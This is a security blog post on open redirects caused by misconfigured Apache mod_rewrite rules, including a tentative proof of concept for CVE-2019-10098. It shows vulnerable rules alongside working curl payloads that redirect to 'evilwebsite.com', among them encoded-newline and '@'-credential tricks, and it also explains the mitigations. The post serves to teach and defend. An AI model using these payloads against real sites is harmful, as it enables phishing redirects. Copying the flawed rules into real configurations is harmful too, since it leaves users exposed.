I recently came across the following Apache vulnerability: "mod_rewrite potential open redirect (CVE-2019-10098)", but I couldn't find a proof of concept, so I started playing around with possible open redirects in mod_proxy
that are caused by improperly configured rewrite rules.
The vulnerability was described as
Redirects configured with mod_rewrite that were intended to be self-referential might be fooled by encoded newlines and redirect instead to an an unexpected URL within the request URL.
The Apache changelog hints towards PCRE_DOTALL
and line break characters:
*) SECURITY: CVE-2019-10098 (cve.mitre.org)
rewrite, core: Set PCRE_DOTALL flag by default to avoid unpredictable
matches and substitutions with encoded line break characters. [Yann Ylavic]
The OSS Security Mailing list gives another hint about this issue:
Mitigation: Anchor captures used as back-references, prefix self-referential redirects with
/ or scheme, host, and port.
Here's the commit that fixes it by setting PCRE_DOTALL
by default. According to perldoc.perl.org this option will instruct .
to match newlines:
Treat the string as single line. That is, change "." to match any character whatsoever, even a newline, which normally it would not match.
Used together, as /ms , they let the "." match any character whatsoever, while still allowing "^" and "$" to match, respectively, just after and just before newlines within the string.
From the mitigation advice, I got the idea that open redirect issues might arise if a back reference (aka $1
) is not prefixed by /
or http://host.tld:80
. The Apache documentation has a nice page on rewrite rules, so after a while I came up with some scenarios that might result in an open redirect.
I believe that Scenario 4 might be one example of CVE 2019-10098.
Scenario 1: Simple self-reference
Let's assume that a website changed its URL scheme, but wants to keep old links working by redirecting to the new resource. Example:
http://redirect.local/oldwebsite/index.html
should returnhttp://redirect.local/index.html
A naive configuration could look like this:
RewriteEngine On
RewriteRule ^/oldwebsite(.*) $1
An attacker can then use /oldwebsite<new URL>
to cause a redirect:
$> curl -kI 'https://redirect.local/oldwebsitehttp://evilwebsite.com/'
HTTP/2 302
date: Sun, 27 Oct 2019 01:13:34 GMT
content-type: text/html; charset=iso-8859-1
location: http://evilwebsite.com/
Scenario 2: Suffixes
Let's say a website wants to have "fancy" looking URLs without the file's extension in it.
http://redirect.local/page/hello-world
should load/hello-world.html
An administrator might add the following RewriteRule
:
RewriteEngine On
RewriteRule ^/page(.*) $1.html
A normal request will return hello-world.html
's contents just fine:
$> curl -k 'https://redirect.local/page/hello-world'
hello world
But it also redirects to another location as well:
$> curl -kI 'https://redirect.local/pagehttp://evilwebsite.com/evil' HTTP/2 302
date: Sun, 27 Oct 2019 01:34:36 GMT
content-type: text/html; charset=iso-8859-1
location: http://evilwebsite.com/evil.html
Scenario 3: Schemes & Hosts
Let's assume different versions of an API that are handled by different systems (i.e. v1
is legacy and v2
is current). The systems have entries in /etc/hosts
or the local DNS server and run on port 8080.
http://redirect.local/api/v1/info
should go tohttp://v1:8080/info
http://redirect.local/api/v2/test
should go tohttp://v2:8080/test
The frontend server could use the following rules to distribute the requests:
RewriteEngine On
RewriteRule ^/api/(.*)/(.*) http://$1:8080/$2
This is also vulnerable:
$> curl -Ik 'https://redirect.local/api/evilwebsite.com/foo'
HTTP/2 302
date: Sun, 27 Oct 2019 01:44:43 GMT
content-type: text/html; charset=iso-8859-1
location: http://evilwebsite.com:8080/foo
Scenario 4: PoC for CVE 2019-10098?
Another common usage scenario for mod_rewrite is the upgrade from HTTP -> HTTPS.
http://redirect.local/
should be redirect tohttps://redirect.local/
One could come up with the following rewrite rules:
RewriteEngine On
RewriteRule (.*)$ https://redirect.local$1
Normal URLs like http://redirect.local/test
will be forwared to https://redirect.local/test
. But by using newlines (CVE 2019-10098), we can redirect somewhere else (i.e. to https://redirect.local.evilwebsite.com
):
curl -Ik 'https://redirect.local/%0a.evilwebsite.com' --path-as-is
HTTP/2 302
date: Mon, 28 Oct 2019 03:36:58 GMT
content-type: text/html; charset=iso-8859-1
location: https://redirect.local.evilwebsite.com
By default, the /
is also matched by (.*)
, so the same redirect would not be possible without the bug:
curl -Ik 'https://redirect.local/.evilwebsite.com' --path-as-is
HTTP/2 302
date: Mon, 28 Oct 2019 03:41:31 GMT
content-type: text/html; charset=iso-8859-1
location: https://redirect.local/.evilwebsite.com
The observation also fits the mitigation advice:
- Prefixing the back references (
$1
) with/
would prevent extending the domain and therefore the redirect. - Usage of the
^
anchor would prevent a successful match in this specific case.
Scenario 5: Basic Auth
However, I disagree with the suggestion that prefixing with host, scheme and port
helps. Let's assume the following rewrite rule:
RewriteEngine On
RewriteRule (.*)$ https://redirect.local:443$1
It has the scheme https
, the host redirect.local
and port 443
. But because :
is used in http basic authentication, we can turn the prefix into login credentials using @
and redirect anyway:
curl -LIk 'https://redirect.local/%[email protected]' --path-as-is
HTTP/2 302
date: Mon, 28 Oct 2019 03:49:22 GMT
content-type: text/html; charset=iso-8859-1
location: https://redirect.local:[email protected]
HTTP/1.1 200 OK
Date: Mon, 28 Oct 2019 03:49:23 GMT
X-Powered-By: Express
Cache-Control: public, max-age=0
Content-Type: text/html; charset=utf-8
Content-Length: 11611
ETag: W/"2d5b-rk6EptGgfzq/+H/heOPKiDdmsVE"
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
Connection: close
I believe that there are many more possibilities to create misconfigured rewrite rules that lead to open redirect? Do you know any? Let me know! :-)
To be honest, I am not completely sure if scenario 4 is really a PoC for CVE 2019-10098, but it kind of feels like it. Please correct me if I am mistaken.
To review all your rewrite rules, you can use the following command:
$> grep -irn 'rewrite' /etc/apache2/
-=-